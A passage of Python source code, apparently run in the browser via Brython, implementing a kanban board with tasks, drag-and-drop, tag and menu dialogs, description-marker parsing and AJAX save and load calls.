dict) else {\"board\": self.board}\n # print(\"got tasks ok>>>> \", self.board.task_ids)\n # [print(tsk, a_tsk) for tsk, a_tsk in tasks[\"tasks\"].items()] if isinstance(tasks, dict) else print(\"no tasks\")\n\n @property\n def steps_colors(self):\n return self.board.steps_colors\n\n @property\n def tasks_colors(self):\n return self.board.tasks_colors\n\n def add_step(self, desc, color_id):\n step = self.add_task(\"board\", desc, color_id, 0, prefix=\"step{}\")\n self.board.add_task(step)\n return step\n # return self.add_task(\"board\", desc, color_id, 0, prefix=\"step{}\")\n # return self.add_task(\"root\", desc, color_id, 0, prefix=\"step{}\")\n\n def add_task(self, parent_id, desc, color_id, progress, prefix=\"task{}\"):\n task_id = self.get_next_id(prefix)\n task = Task(task_id, 0, desc, color_id, progress)\n # print(\"task.oid\", task.oid, \"self.tasks\", self.tasks)\n self.tasks[task.oid] = task\n\n parent_task = self.tasks[parent_id]\n parent_task.add_task(task)\n\n return task\n\n def remove_task(self, task_id):\n task = self.tasks[task_id]\n for sub_task_id in list(task.task_ids):\n self.remove_task(sub_task_id)\n\n parent_task = self.tasks[task.parent_id]\n del self.tasks[task_id]\n parent_task.remove_task(task)\n\n def move_task(self, task_id, dst_task_id):\n task = self.tasks[task_id]\n\n parent_task = self.tasks[task.parent_id]\n parent_task.remove_task(task)\n\n dst_task = self.tasks[dst_task_id]\n dst_task.add_task(task)\n return task, parent_task, dst_task\n\n def get_next_id(self, prefix):\n next_id = prefix.format(self.board.counter)\n self.board.counter += 1\n return next_id\n\n def __repr__(self):\n # return json_repr(self)\n rep = json_repr(self.tasks)\n rep.update(dict(board=json_repr(self.board)))\n return rep\n\n\n# ----------------------------------------------------------\nclass Task:\n def __init__(self, oid=\"\", parent_id=None, desc=None, color_id=0, progress=0, _id=0,\n task_ids=(), tags=(), users=(), calendar=(), comments=(), external_links=()):\n self._id = str(_id)\n self.oid = oid\n self.parent_id = parent_id\n self.desc = desc\n self.color_id = int(color_id)\n self.progress = int(progress)\n self.task_ids = list(task_ids)\n self.tags = list(tags)\n self.users = list(users)\n self.calendar = list(calendar)\n self.comments = list(comments)\n self.external_links = list(external_links)\n\n def upsert(self, tags=(), users=(), calendar=(), comments=(), external_links=()):\n def to_fro_dict(argument, attribute):\n _tags = {k: v for k, v in attribute}\n _tags.update(argument)\n attribute = list(_tags.items())\n return attribute\n\n pairing = zip([tags, users, calendar, comments, external_links],\n [self.tags, self.users, self.calendar, self.comments, self.external_links])\n _ = [to_fro_dict(argument, attribute) for argument, attribute in pairing]\n\n def add_task(self, task):\n self.task_ids.append(task.oid)\n task.parent_id = self.oid\n\n def remove_task(self, task):\n self.task_ids.remove(task.oid)\n task.parent_id = None\n\n def existing_extras(self):\n extras = [self.tags, self.users, self.calendar, self.comments, self.external_links]\n names = \"self tags users calendar comments external_links\".split()\n return [icon for icon, count in zip(names, extras) if count]\n\n def __repr__(self):\n return json_repr(self)\n\n\n# ----------------------------------------------------------\nclass Board(Task):\n def __init__(self, oid=LABASE, parent_id=None, counter=1, schema_revision=SCHEMA_REVISION, _id=0,\n steps_colors=STEPS_COLORS, tasks_colors=TASKS_COLORS, task_ids=(), current=None, desc=None):\n super().__init__(oid=oid, parent_id=parent_id, task_ids=task_ids, desc=desc, _id=_id)\n self._id = _id\n\n self.schema_revision = schema_revision\n self.counter = int(counter)\n self.steps_colors = list(steps_colors)\n self.tasks_colors = TASKS_COLORS or list(tasks_colors)\n self.current = current\n\n\n# ----------------------------------------------------------\nclass KanbanBoard:\n def __init__(self, kanban):\n self.kanban = kanban\n control = \"play pause stop\".split()\n self.board_name = \"LABASE\"\n self.board_span = html.SPAN(self.board_name + \"   \", Id=\"_control_board_name\")\n self.external_link = html.SPAN(Id=\"_external_link\", Class=\"fa fa-external-link\")\n self.menu = html.SPAN(Id=\"_icon_menu\", Class=\"fa fa-bars\")\n self.controls = [html.SPAN(\" \", Id=f\"_control_{ico}\", Class=f\"fa-solid fa-{ico}\") for ico in control]\n self.board = doc[\"board\"]\n self.task_name = \"\"\n self.task_span = html.SPAN(self.task_name, Id=\"_control_task_name\")\n self.timeline = html.DIV(id=\"task_deadline\", Class=\"time_bar\")\n\n def draw_deadline(self, base, width=50):\n _ = self\n node = html.DIV(id=\"task_deadline\", Class=\"time_bar\")\n node.style.width = percent(width)\n node.style.backgroundColor = \"blue\"\n _ = base <= node\n return node\n\n def draw_timeline(self, base, width=1):\n node = self.timeline\n node.style.width = percent(width)\n node.style.backgroundColor = \"lightgray\"\n _ = base <= node\n return node\n\n def draw(self, step_ids):\n _ = self\n width = 100 / len(step_ids)\n board = doc[\"board\"]\n node = html.DIV(\"   \", id=\"project_board\", Class=\"step_header\")\n _ = node <= self.external_link\n _ = node <= self.board_span\n controls = self.controls\n _ = [node <= control for control in controls]\n _ = [control.bind(\"click\", handler)\n for control, handler in zip(controls, [self.start_task, self.pause_task, self.stop_task])]\n _ = node <= self.task_span\n node.style.width = percent(5 * width + 1)\n node.style.backgroundColor = \"ivory\"\n _ = board <= node\n bar = self.draw_deadline(base=node)\n self.draw_timeline(base=bar)\n node.bind('dragover', self.drag_over)\n node.bind('drop', self.drag_drop)\n\n def drag_over(self, ev):\n _ = self\n ev.preventDefault()\n\n ev.data.dropEffect = 'move'\n\n def drag_drop(self, ev):\n ev.preventDefault()\n ev.stopPropagation()\n\n task_id = ev.data['text']\n task = self.kanban.tasks[task_id].desc\n self.task_span.text = task\n\n def start_task(self, *_):\n self.timeline.width = 10\n self.timeline.style.backgroundColor = \"lightgray\"\n\n def pause_task(self, *_):\n self.timeline.style.backgroundColor = \"purple\"\n\n def stop_task(self, *_):\n from activ_painter import ActivPainter\n ap = ActivPainter()\n ap.read()\n ap.write()\n self.timeline.style.backgroundColor = \"lightgray\"\n self.timeline.width = 1\n\n\n# ----------------------------------------------------------\nclass KanbanView:\n def __init__(self, kanban):\n self.new = True\n self.kanban = kanban\n self.board = KanbanBoard(kanban)\n self.board.external_link.bind('click', self.write)\n # doc['load_kanban'].bind('click', self.load)\n # doc['save_kanban'].bind('click', self.save)\n # doc['dump'].bind('click', self.dump)\n # self.init_model() if self.new else None\n\n @staticmethod\n def parse_desc(desc, tsk):\n import datetime\n import re\n now = datetime.datetime.now()\n dtd = datetime.timedelta\n dd, ww, hh = lambda dt: dtd(days=dt), lambda dt: dtd(weeks=dt), lambda dt: dtd(hours=dt)\n\n def insert_unique(argument, key, value):\n as_dict = dict(argument)\n as_dict.update([(key, value)])\n return list(as_dict.items())\n\n def do_at(txt):\n txt, time_lapse = int(txt[:-1]), txt[-1].lower()\n at_parse = dict(\n d=lambda t=txt: str(now + dd(t)), w=lambda t=txt: str(now + ww(t)), h=lambda t=txt: str(now + hh(t)))\n tsk.calendar = insert_unique(tsk.calendar, \"due\", at_parse[time_lapse]())\n\n def do_hash(txt):\n key, value = txt.split(\":\")\n _key = {facet[0]: facet for facet in _FACET}[key]\n value = {facet[0]: facet for facet in _FACET[_key]}[value]\n tsk.tags = insert_unique(tsk.tags, _key, value)\n\n def do_pct(txt):\n tsk.progress = int(txt)\n\n def do_amp(txt):\n tsk.users = insert_unique(tsk.users, txt, 0)\n\n def do_exc(txt):\n tsk.external_links = insert_unique(tsk.external_links, txt, 0)\n\n def do_mark(arg, mrk):\n _args = re.findall(f\" {arg}(\\S*)\", desc)\n try:\n [mrk(ag) for ag in _args]\n except ValueError as err:\n print(\"errValueError\", err)\n pass\n except KeyError as err:\n print(\"errKeyError\", err)\n pass\n except AttributeError as err:\n print(\"errAttributeError\", err)\n pass\n except IndexError as err:\n print(\"errIndexError\", err)\n pass\n # print(f\"arg {arg}\", _args, mrk)\n return _args\n\n mark = \"@#%&!\"\n _ = [do_mark(arg, mrk) for arg, mrk in zip(mark, [do_at, do_hash, do_pct, do_amp, do_exc])]\n rex = f\" [{mark}]\\S*\"\n desc_sub = re.sub(rex, \"\", desc)\n\n tsk.desc = desc_sub\n # zip(mark, [tsk.calendar, tsk.tags, tsk.progress, tsk.users, tsk.external_links])]\n\n def write(self, page=\"/api/save\", item=None, *_):\n _item = item or self.kanban\n\n txt = json.dumps(repr(_item))\n # print(txt)\n # data = parse.urlencode(txt).encode()\n data = txt\n\n def on_complete(_req):\n if _req.status == 200 or req.status == 0:\n print(\"complete ok>>>> \" + _req.text)\n else:\n print(\"error detected>>>> \" + _req.text)\n\n req = ajax.Ajax()\n req.bind('complete', on_complete)\n req.open('POST', page, True)\n # req.set_header('content-type', 'application/x-www-form-urlencoded')\n req.set_header('content-type', 'application/json')\n req.send(data)\n # print(resp)\n\n def read(self, *_):\n def on_complete(_req):\n if _req.status == 200 or req.status == 0:\n text = _req.text.replace(\"pound\", \"libra\")\n _rt = json.loads(text)\n # print(_rt)\n self.kanban = KanbanModel(tasks=_rt)\n [self.parse_desc(t.desc, t) for t in self.kanban.tasks.values()]\n # self.kanban = KanbanModel(tasks=json.loads(_req.text)[\"KanbanModel\"])\n # task20 = self.kanban.tasks[\"task20\"]\n # print(str(task20))\n # task20.task_ids.append(\"task36\")\n self.draw()\n\n print(\"complete ok>>>> \") # + _req.text)\n else:\n print(\"error detected>>>> \" + _req.text)\n\n page = \"/api/load\"\n\n req = ajax.Ajax()\n req.bind('complete', on_complete)\n req.open('GET', page, True)\n # req.set_header('content-type', 'application/x-www-form-urlencoded')\n req.set_header('content-type', 'application/json')\n req.send()\n\n @staticmethod\n def create_script_tag(src=\"icons.svg\"):\n import urllib.request\n _fp = urllib.request.urlopen(src)\n _data = _fp.read()\n _tag = doc[\"_money_\"]\n _tag.html = _data\n return _tag\n\n def draw(self):\n doc.body.style.backgroundImage = \"url(https://wallpaperaccess.com/full/36356.jpg)\"\n # self.create_script_tag()\n # step_ids = self.kanban.tasks[\"board\"].task_ids\n step_ids = self.kanban.board.task_ids\n # print(step_ids)\n # step_ids = self.kanban.tasks[\"board\"].task_ids\n width = 100 / len(step_ids)\n board = doc[\"board\"]\n clear_node(board)\n self.board.draw(step_ids)\n for step_id in step_ids:\n step = self.kanban.tasks[step_id]\n self.draw_step(step, width, board)\n\n def draw_step(self, step, width, board):\n node = html.DIV(id=step.oid, Class=\"step\")\n node.style.width = percent(width)\n # node.style.backgroundColor = self.kanban.steps_colors[step.color_id]\n rgb = int(f\"0x{self.kanban.steps_colors[step.color_id][-2:]}\", 16)\n node.style.backgroundColor = f\"rgba({rgb},{rgb},{rgb},0.3)\"\n _ = board <= node\n\n header = html.DIV(Class=\"step_header\")\n _ = node <= header\n\n title = html.PRE(step.desc, Class=\"step_title\")\n _ = header <= title\n\n count = html.PRE(0, id=f\"{step.oid} count\", Class=\"step_count\")\n count.text = len(step.task_ids)\n _ = header <= count\n\n node.bind('dragover', self.drag_over)\n node.bind('drop', ev_callback(self.drag_drop, step))\n\n title.bind('click', ev_callback(self.add_task, step, node))\n\n self.draw_tasks(step, node)\n\n def draw_tasks(self, parent_task, parent_node):\n for task_id in parent_task.task_ids:\n task = self.kanban.tasks[task_id]\n self.upsert_task(task, parent_node)\n\n def upsert_task(self, task, parent_node):\n node = html.DIV(Class=\"task\", Id=task.oid, draggable=True)\n _ = parent_node <= node\n self.draw_task(task)\n node.bind('dragstart', ev_callback(self.drag_start, task))\n node.bind('dragover', self.drag_over)\n node.bind('drop', ev_callback(self.drag_drop, task))\n node.bind('click', ev_callback(self.change_task_color, task, node))\n\n def draw_task(self, task):\n def do_tag(facet_, tag):\n sty = {\"background-color\": facet_.color, \"font-size\": \"0.75rem\", \"text-align\": \"center\"}\n f_div = html.SPAN(Class=\"box is-small is-rounded is-fullwidth mx-1 p-0\", style=sty)\n # f_div = html.DIV(Class=\"tag is-rounded is-small\", style={\"background-color\": facet_.color})\n # f_ico = html.I(Class=f\"fa fa-{facet_.icon}\")\n title = f\"{facet_.name}:{tag.name}\"\n if tag.icon.startswith(\"_\"):\n t_ico = svg.svg()\n label = tag.icon[1:]\n img = svg.use(href=f\"#{label}\", x=0, y=0, width=11, height=11, transform=f\"scale(0.16)\")\n _ = t_ico <= img\n else:\n t_ico = html.I(Class=f\"fa fa-{tag.icon}\", style=dict(color=tag.color), title=title)\n # _ = f_div <= f_ico\n _ = f_div <= t_ico\n return html.TD(f_div, title=title, Class=\"td is-small\")\n\n def do_icon(ico, data):\n _ico = html.TD(html.I(Class=f\"fa fa-{ico}\"), Class=\"dropdown\")\n ico_ctn = html.DIV(Class=\"dropdown-content\")\n # data = [\":\".join([dt[0], fi(dt[1]).strftime(\"%c\")[4: -14]]) for dt in data] if ico == \"calendar\" else data\n _data = [\":\".join([dt[0], dt[1][5: -13]]) for dt in data] if ico == \"calendar\" else data\n _data = [\":\".join(dt) for dt in data] if ico == \"tags\" else _data\n _ = _ico <= ico_ctn\n spans = [html.DIV(html.SPAN(str(datum)) + html.BR()) for datum in _data if \"_self\" not in datum]\n if \"links\" in data:\n _ = [spn.bind(\"click\", lambda *_: alert(\"not implemented\")) for ix, spn in enumerate(spans) if ix != 1]\n spans[1].bind(\"click\", lambda *_: TagView(task, self).draw())\n _ = [ico_ctn <= span for span in spans]\n return _ico if data else None\n\n node = doc[task.oid]\n node.html = \"\"\n node.style.backgroundColor = self.kanban.tasks_colors[task.color_id]\n facet = {key: IcoColor(key, *(value[\"_self\"].split())) for key, value in _FACET.items()}\n facets = {fk: {tk: IcoColor(tk, *tv.split()) for tk, tv in fv.items() if tk != \"_self\"}\n for fk, fv in _FACET.items()}\n # has to fix old version of facet that was code and now is 'develop'\n cmd = [do_tag(facet[_facet if _facet != \"code\" else \"develop\"],\n facets[_facet if _facet != \"code\" else \"develop\"][_tag if _tag != \"data\" else \"info\"])\n for _facet, _tag in task.tags if _tag != \"_self\"]\n # XXX - must remove these old versions - XXX\n # cmd = [do_tag(facet[_facet], _tag) for _facet, _tags in sample(list(facets.items()), randint(1, 6))\n # for _tag in sample(list(_tags.values()), 1)]\n\n # progress = html.DIV(Class=\"task_progress\")\n #\n # progress_text = html.P(\"%d%%\" % task.progress,\n # Class=\"task_progress_text\")\n # # _ = progress <= progress_text\n #\n # progress_bar = html.DIV(Class=\"task_progress_bar\")\n # progress_bar.style.width = percent(task.progress)\n # _ = progress <= progress_bar XXX removed progress!\n icons = \"external-link tags comment users calendar bars\".split()\n menu = \"links tags comment users progress calendar\".split() + [task.oid]\n props = [task.external_links, task.tags, task.comments, task.users, task.calendar, menu]\n cmd += [do_icon(ico, data) for ico, data in zip(icons, props)]\n MenuView(task, self).draw(cmd[-1], node)\n # cmd[-1].bind(\"click\", lambda *_: TagView(task, self).draw())\n # cmd += [html.TD(html.I(Class=f\"fa fa-{ico}\"), Class=\"task_command_delete\") for ico in icons]\n\n # menu = html.I(Class=\"fa fa-bars\")\n # command_delete = html.DIV(menu, Class=\"task_command_delete\")\n icons = html.TR(Class=\"tr is-fullwidth\")\n # html.TD(progress, Class=\"task_command\") +\n # cmd[0] + cmd[1] + cmd[2] + cmd[3] + cmd[4] + cmd[5] + cmd[7] + cmd[8] + cmd[2] + cmd[3] + cmd[4] + cmd[5]\n # )\n _ = [icons <= cm for cm in cmd if cm]\n # _ = node <= command\n desc = html.P(Id=f\"desc {task.oid}\", Class=\"task_desc\")\n desc.html = task.desc\n _ = node <= html.TABLE(icons, Class=\"task_command\")\n _ = node <= desc\n desc.bind('click', ev_callback(self.edit_task, task))\n self.draw_tasks(task, node)\n\n return\n # +\n\n # html.TD(command_delete)), Class=\"task_command\")\n\n # XXX - must remove these old versions - XXX\n # progress.progress_bar = progress_bar\n # progress.progress_text = progress_text\n # progress.bind('click',\n # ev_callback(self.make_task_progress, task, progress))\n\n # command_delete.bind('click', ev_callback(self.remove_task, task))\n\n def set_text(self, task):\n _ = self\n desc = doc[f\"desc {task.oid}\"]\n clear_node(desc)\n desc.html = task.desc\n\n def drag_start(self, ev, task):\n _ = self\n ev.data['text'] = task.oid\n ev.data.effectAllowed = 'move'\n\n ev.stopPropagation()\n\n def drag_over(self, ev):\n _ = self\n ev.preventDefault()\n\n ev.data.dropEffect = 'move'\n\n def drag_drop(self, ev, dst_task):\n ev.preventDefault()\n ev.stopPropagation()\n\n src_task_id = ev.data['text']\n src_task_node = doc[src_task_id]\n\n dst_task_id = dst_task.oid\n dst_task_node = doc[dst_task_id]\n\n _ = dst_task_node <= src_task_node\n task, orig_task, dst_task = self.kanban.move_task(src_task_id, dst_task_id)\n # [print(str(tsk)) for tsk in (task, orig_task, dst_task)]\n\n self.write(page=f\"/api/item/{task.oid}\", item=task)\n self.write(page=f\"/api/item/{dst_task.oid}\", item=dst_task)\n self.write(page=f\"/api/item/{orig_task.oid}\", item=orig_task)\n\n def add_task(self, ev, step, node):\n ev.stopPropagation()\n\n t = time.strftime(TIME_FMT)\n desc = prompt(\"New task\", f\"{step.desc} {t}\")\n if desc:\n task = self.kanban.add_task(step.oid, desc, 0, 0)\n self.parse_desc(desc, task)\n self.upsert_task(task, node)\n self.write(page=f\"/api/item/{task.oid}\", item=task)\n\n def remove_task(self, ev, task):\n ev.stopPropagation()\n\n text = \"Confirm deletion of: \" + task.desc\n ret = confirm(text)\n if ret:\n del doc[task.oid]\n self.kanban.remove_task(task.oid)\n\n def change_task_color(self, ev, task, node):\n ev.stopPropagation()\n\n task.color_id = (task.color_id + 1) % len(self.kanban.tasks_colors)\n node.style.backgroundColor = self.kanban.tasks_colors[task.color_id]\n\n def make_task_progress(self, ev, task, node):\n _ = self\n ev.stopPropagation()\n\n task.progress = (task.progress + 25) % 125\n\n node.progress_bar.style.width = percent(task.progress)\n node.progress_text.text = percent(task.progress)\n\n def edit_task(self, ev, task):\n ev.stopPropagation()\n\n ret = prompt(\"Task\", task.desc)\n if ret:\n task.desc = ret\n self.parse_desc(ret, task)\n self.set_text(task)\n self.draw_task(task)\n self.write(page=f\"/api/item/{task.oid}\", item=task)\n\n def load(self, *_):\n kanban = None\n if \"kanban\" in storage:\n txt = storage[\"kanban\"]\n # noinspection PyBroadException\n try:\n eval(\"kanban = \" + txt)\n except BaseException as _:\n kanban = None\n\n # noinspection PyBroadException\n try:\n if kanban is None:\n raise KanbanException(\"could not load data from storage \"\n \"(use 'Save' to initialize it).\")\n\n # noinspection PyUnresolvedReferences\n if kanban.schema_revision != self.kanban.schema_revision:\n raise KanbanException(\"storage schema does not match \"\n \"application schema (use 'Save' to re-initialize it)\")\n\n self.kanban = kanban\n\n except KanbanException as e:\n alert(e.msg)\n\n except:\n del storage[\"kanban\"]\n\n self.draw()\n\n def save(self, *_):\n txt = instance_repr(self.kanban)\n storage[\"kanban\"] = txt\n\n def dump(self, *_):\n # code = \"storage['kanban'] = \" + instance_repr(self.kanban)\n # code = json.dumps(self.kanban, default=json_repr)\n code = json.dumps(repr(self.kanban))\n alert(code)\n\n\nclass TagView:\n def __init__(self, task, view):\n self.dialog, self.section = None, None\n self.task, self.view = task, view\n self.do_modal = self.modal\n\n def modal(self):\n div, head, p, sect, foot, but = html.DIV, html.HEADER, html.P, html.SECTION, html.FOOTER, html.BUTTON\n head_title = p(f\"Tags : {self.task.desc}\", Class=\"title\")\n header = head(head_title, Class=\"modal-card-head\")\n self.section = section = sect(Class=\"modal-card-body\")\n ok, cancel = but(\"OK\", Class=\"button is-success\"), but(\"Cancel\", Class=\"button\")\n ok.bind(\"click\", self.edit)\n cancel.bind(\"click\", lambda *_: self.dialog.classList.remove('is-active'))\n footer = foot(ok + cancel, Class=\"modal-card-foot\")\n # _ = (div(Class =\"modal\")<= div(Class =\"modal-background\"))<= div(Class =\"modal-card\")\n self.dialog = div(div(div(header + section + footer, Class=\"modal-card\"), Class=\"modal-background\"),\n Class=\"modal\")\n _ = doc.body <= self.dialog\n self.do_modal = lambda *_: None\n print(\"did\", self.dialog)\n\n def edit(self, *_):\n self.dialog.classList.remove('is-active')\n ...\n\n def draw(self):\n # self.do_modal()\n task = self.task\n # self.dialog.classList.add('is-active')\n facet = {fct[0]: fct[1] for fct in task.tags}\n\n dp = html.DIV(Class=\"panel\")\n # _ = self.section <= dp\n db = html.DIV(Class=\"panel\")\n # _ = self.section <= db\n\n def lb_for(tag, icon, color, title):\n return html.LABEL(\n html.I(Class=f\"fa fa-{icon}\", style=dict(color=color), title=title) + title[:4], For=tag)\n\n def rl(tag, icon, name):\n _tag = IcoColor(name, *(icon.split()))\n return (\n (html.INPUT(type=\"radio\", ID=tag, name=name, value=tag, checked=\"checked\") if (\n name in facet and tag == facet[name]) else html.INPUT(type=\"radio\", ID=tag, name=name,\n value=tag)) +\n (lb_for(tag, _tag.icon, _tag.color, tag) if tag != \"_self\" else lb_for(tag, \"ban\", \"magenta\",\n \"none\")))\n\n def fl(tag):\n return html.FIELDSET(ID=tag, Class=\"panel\")\n\n ffs = {facet: IcoColor(facet, fl(tag=facet), tags[\"_self\"].split()[1]) for facet, tags in _FACET.items()}\n\n def tag_div(child, _):\n # return html.DIV(child, Class=\"task_icon\", style={\"background-color\": \"slategray\"})\n style = {\"background-color\": \"slategray\"}\n return html.DIV(child, Class=\"button is-small is-rounded is-fullwidth\", style=style)\n\n _ = [[ffs[fs].icon <= tag_div(rl(tag, icon, fs), tags)\n for tag, icon in tags.items()] for fs, tags in _FACET.items()]\n rows = (dp, list(ffs.values())[:5]), (db, list(ffs.values())[5:])\n\n def facet_div(name, icon, color):\n cnt = html.DIV(html.DIV(html.DIV(icon, Class=\"media-content\"), Class=\"media\"), Class=\"card-content\")\n return html.DIV(html.HEADER(html.P(name, Class=\"card-header-title\"), Class=\"card-header\") + cnt,\n Class=\"card\",\n style=dict(display=\"inline-block\", width=\"20%\", backgroundColor=color))\n\n _ = [ad <= facet_div(_fs.name, _fs.icon, _fs.color)\n for ad, val in rows for _fs in val]\n # _ = [ad <= html.DIV(_fs.name + _fs.icon, Class=\"box m-0\",\n # style=dict(display=\"inline-block\", width=\"20%\", backgroundColor=_fs.color))\n # for ad, val in rows for _fs in val]\n # _ = [db <= html.DIV(_fs.name + _fs.icon, Class=\"box m-0\",\n # style=dict(display=\"inline-block\", width=\"20%\", backgroundColor=_fs.color))\n # for _fs in list(ffs.values())[5:]]\n return [dp, db]\n\n\nclass MenuView:\n def __init__(self, task, view):\n class Modal:\n def __init__(self):\n self.modal_div = self.section = self.footer = html.DIV()\n self.do_modal = self.modal\n self.tagging = html.DIV, html.HEADER, html.P, html.LABEL, html.INPUT, html.BUTTON, html.SPAN, html.I\n\n def modal(self):\n div, head, p, sect, foot, but = html.DIV, html.HEADER, html.P, html.SECTION, html.FOOTER, html.BUTTON\n head_title = p(f\"Task : {here.task.desc}\", Class=\"title\")\n header = head(head_title, Class=\"modal-card-head\")\n self.section = section = sect(Class=\"modal-card-body\")\n ok, cancel = but(\"OK\", Class=\"button is-success\"), but(\"Cancel\", Class=\"button\")\n ok.bind(\"click\", lambda *_: here.editor())\n cancel.bind(\"click\", lambda *_: self.modal_div.classList.remove('is-active'))\n self.footer = footer = foot(ok + cancel, Class=\"modal-card-foot\")\n # _ = (div(Class =\"modal\")<= div(Class =\"modal-background\"))<= div(Class =\"modal-card\")\n self.modal_div = div(div(div(header + section + footer, Class=\"modal-card\"), Class=\"modal-background\"),\n Class=\"modal\")\n _ = doc.body <= self.modal_div\n self.do_modal = lambda *_: None\n # print(\"did\", self.dialog)\n\n def form(self, temp, items):\n self.modal()\n contents = temp(items)\n # form = div(contents+inp(type=\"hidden\", name=\"whatever\", value=\"foobar\"))\n _ = [self.section <= field for field in contents]\n self.modal_div.classList.add('is-active')\n\n def calendar(self, items):\n def edit(*_):\n print(\"calendar edit\")\n [print(fld.value) for _, fld in fields]\n self.modal_div.classList.remove('is-active')\n ...\n\n div, head, p, lab, inp, but, sp, ic = self.tagging\n here.editor = edit\n # add = but(\"ADD\", Class=\"button is-success\")\n fields = [(eve, inp(Class=\"input\", type=\"text\", value=dater)) for eve, dater in items]\n return [div(div(lab(eve, Class=\"label\") + input_field, Class=\"control\"), Class=\"field\")\n for eve, input_field in fields]\n\n def tags(self, items):\n _ = self, items\n return here.tags.draw()\n\n def one_field(self, items, plc, ico):\n def adder(*_):\n print(\"comment add\")\n _input = inp(Class=\"input\", type=\"text\", placeholder=plc)\n fields.append((\"\", _input))\n _ = self.section <= div(\n div(_input + _icon, Class=\"control has-icons-left\"), Class=\"field\")\n\n def edit(*_):\n print(\"comment edit\")\n [print(fld.value) for _, fld in fields]\n self.modal_div.classList.remove('is-active')\n ...\n\n div, head, p, lab, inp, but, sp, ic = self.tagging\n here.editor = edit\n add = but(\"ADD\", Class=\"button is-primary\")\n add.bind(\"click\", adder)\n _icon = sp(ic(Class=ico), Class=\"icon is-small is-left\")\n fields = [(eve, inp(Class=\"input\", type=\"text\", value=dater)) for eve, dater in items]\n return [div(div(input_field + _icon, Class=\"control has-icons-left\"), Class=\"field\")\n for eve, input_field in fields] + [add]\n\n def comments(self, items):\n return self.one_field(items, \"Add your comment here\", \"fa fa-comment\")\n\n def users(self, items):\n return self.one_field(items, \"Add a new partner here\", \"fa fa-users\")\n\n def external_links(self, items):\n return self.one_field(items, \"Add your link here\", \"fa fa-external-link\")\n\n here = self\n self.editor = self.edit\n self.dialog = Modal()\n self.menu = None\n self.task, self.view = task, view\n self.tags = TagView(task, view)\n\n def edit(self, *_):\n self.dialog.modal_div.classList.remove('is-active')\n\n def draw(self, dropper, node):\n dlg = self.dialog\n _ic = \"fa fa-{}\"\n # _ico = html.SPAN(html.I(Class=), Class=\"icon\")\n icons = \"external-link tags comment users calendar battery-empty palette\".split()\n mark = \"links tags comment users calendar progress color\".split()\n batt_colors = \"gray red orange green blue\".split()\n batt = [(cl, ico, tt) for cl, ico, tt in zip(batt_colors, BATT, '0% 25% 50% 75% 100%'.split())]\n colors = [(cl, ico, tt) for cl, ico, tt in zip(TASKS_COLORS, [\"palette\"] * 30, [\"\"] * 30)]\n dialogs = dlg.external_links, dlg.tags, dlg.comments, dlg.users, dlg.calendar, batt, colors\n tsk = self.task\n arguments = tsk.external_links, tsk.tags, tsk.comments, tsk.users, tsk.calendar, tsk.progress, tsk.color_id\n menu_items = list(zip(mark, icons, arguments, dialogs))\n\n def popups(nam, ic, it, dl):\n def pop_editor(ev, iid):\n ev.stopPropagation()\n ev.preventDefault()\n self.task.color_id = iid if ic == \"palette\" else None\n node.style.backgroundColor = self.view.kanban.tasks_colors[iid] if ic == \"palette\" else None\n print(\"pop_editor\", iid, activ)\n\n def menu_item(color, icon, title, iid=0):\n tit = color if ic == \"palette\" else title\n _ico = html.I(Class=f\"fa fa-{icon}\", style=dict(color=color), title=tit)\n # return html.A(html.SPAN(html.SPAN(_ico, Class=\"icon\") + title, Class=\"icon-text\"))\n _item_class = \"icon-text is-activ\" if iid == it else \"icon-text\"\n _item = html.LI(html.SPAN(_ico, Class=\"icon\") + html.SPAN(title), Class=_item_class)\n _item.bind(\"click\", lambda ev: pop_editor(ev, iid))\n return _item\n\n ico_ctn = html.LI()\n _ = [ico_ctn <= menu_item(iid=iid, *_dialogs) for iid, _dialogs in enumerate(dl[:20])]\n na = html.SPAN(nam)\n activ = it # [-2] if len(dl) < 5 else it[-1]\n an = html.DIV(html.SPAN(html.SPAN(html.I(Class=f\"fa fa-{ic}\"), Class=\"icon\") + na, Class=\"icon-text\"))\n item_ = html.LI(an + html.UL(ico_ctn))\n # _ = an <= ico_ctn\n # an.bind(\"click\", lambda *_: self.dialog.form(dl, it))\n # items = [html.LI(html.A(name)+sub_item(name, it, dl)) for name, it, dl in menu_items]\n return item_\n\n def item(nam, ic, it, dl):\n def item_editor(ev):\n ev.stopPropagation()\n ev.preventDefault()\n self.dialog.form(dl, it)\n na = html.SPAN(nam)\n an = html.SPAN(html.SPAN(html.I(Class=f\"fa fa-{ic}\"), Class=\"icon\") + na, Class=\"icon-text\")\n\n item_ = html.LI(an)\n\n an.bind(\"click\", lambda ev: item_editor(ev))\n # items = [html.LI(html.A(name)+sub_item(name, it, dl)) for name, it, dl in menu_items]\n return item_\n\n items = [item(*its) for its in menu_items[:-2]] + [popups(*its) for its in menu_items[-2:]]\n menu = html.UL()\n _ = [menu <= it for it in items]\n self.menu = html.ASIDE(menu, Class=\"menu\")\n _ = dropper <= html.DIV(self.menu, Class=\"dropdown-content\")\n\n\n# ----------------------------------------------------------\ndef clear_node(node):\n node.clear()\n\n\n# ----------------------------------------------------------\ndef percent(p):\n return (\"%d\" % p) + \"%\"\n\n\n# ----------------------------------------------------------\ndef instance_repr(o):\n if isinstance(o, dict):\n items = []\n for key, value in o.items():\n repr_key = instance_repr(key)\n repr_value = instance_repr(value)\n items.append(f\"{repr_key} : {repr_value}\")\n s = \"{{ {} }}\".format(\"\\n, \".join(items))\n\n elif isinstance(o, list):\n items = [instance_repr(i) for i in o]\n s = \"[ {} ]\".format(\"\\n, \".join(items))\n\n elif isinstance(o, set):\n items = [instance_repr(i) for i in o]\n s = \"{{ {} }}\".format(\"\\n, \".join(items))\n\n elif isinstance(o, float):\n s = str(o)\n\n elif isinstance(o, int):\n s = str(o)\n\n elif isinstance(o, str):\n s = quoted_escape_string(o)\n\n else:\n attributes = dir(o)\n items = []\n for n in attributes:\n if not n.startswith(\"__\"):\n repr_key = escape_string(n)\n repr_value = instance_repr(getattr(o, n))\n items.append(f\"{repr_key} = {repr_value}\")\n s = \"{}( {} )\".format(o.__class__.__name__, \", \".join(items))\n\n return s\n\n\n# ----------------------------------------------------------\ndef json_repr(o):\n if isinstance(o, dict):\n return {k: repr(v) for k, v in o.items()}\n if isinstance(o, tuple) or isinstance(o, list) or isinstance(o, set):\n # return [repr(i) for i in o]\n return [i for i in o]\n\n elif isinstance(o, float) or isinstance(o, int):\n return str(o)\n\n elif isinstance(o, str):\n return o\n # return quoted_escape_string(o)\n\n else:\n attributes = [\n n for n in o.__dict__ if not n.startswith(\"__\") and not callable(n) and not type(n) 